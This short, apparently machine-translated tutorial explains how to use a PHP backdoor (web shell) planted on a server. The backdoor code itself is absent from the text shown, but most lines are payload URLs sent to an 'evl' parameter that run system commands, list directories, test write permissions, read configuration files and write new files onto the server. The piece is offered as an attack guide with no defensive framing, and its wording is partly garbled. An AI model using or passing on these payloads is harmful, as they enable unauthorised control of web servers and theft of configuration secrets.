Some uses of PHP backdoor

Today we will talk about some of the most common uses of PHP backdoors

First, write the simplest backdoor, which can also be called a Trojan.

      
That's it, you have obtained a lot of execution permissions on this server.

      
What are the usages of that scene?
      
Print serverphpinfo
      
http://www.test.com/a.php?evl=phpinfo()
      
Check what files are in a directory
      
http://www.test.com/a.php?evl=var_dump(system("ls /mnt/web/ -a"));
      
Check whether the directory is writable, the next step You can create an executable file in a writable directory
      
http://www.test.com/a.php?evl=var_dump(is_writable("/mnt/web/abc/"));
      
Get the content of a file, generally used to read the configuration
      
http://www.test.com/a.php?evl=var_dump(file_get_contents("/mnt/web/temp/api.php"));
      
Write files to a writable directory
      
http://www.test.com/a.php?evl=var_dump(file_put_contents("/mnt/web/temp/api.php",file_get_contents("/mnt/web/script/test.php")));
      
Okay, the above part has basically destroyed the part that can be used to view a server. Let’s try to draw inferences about other functions.
      
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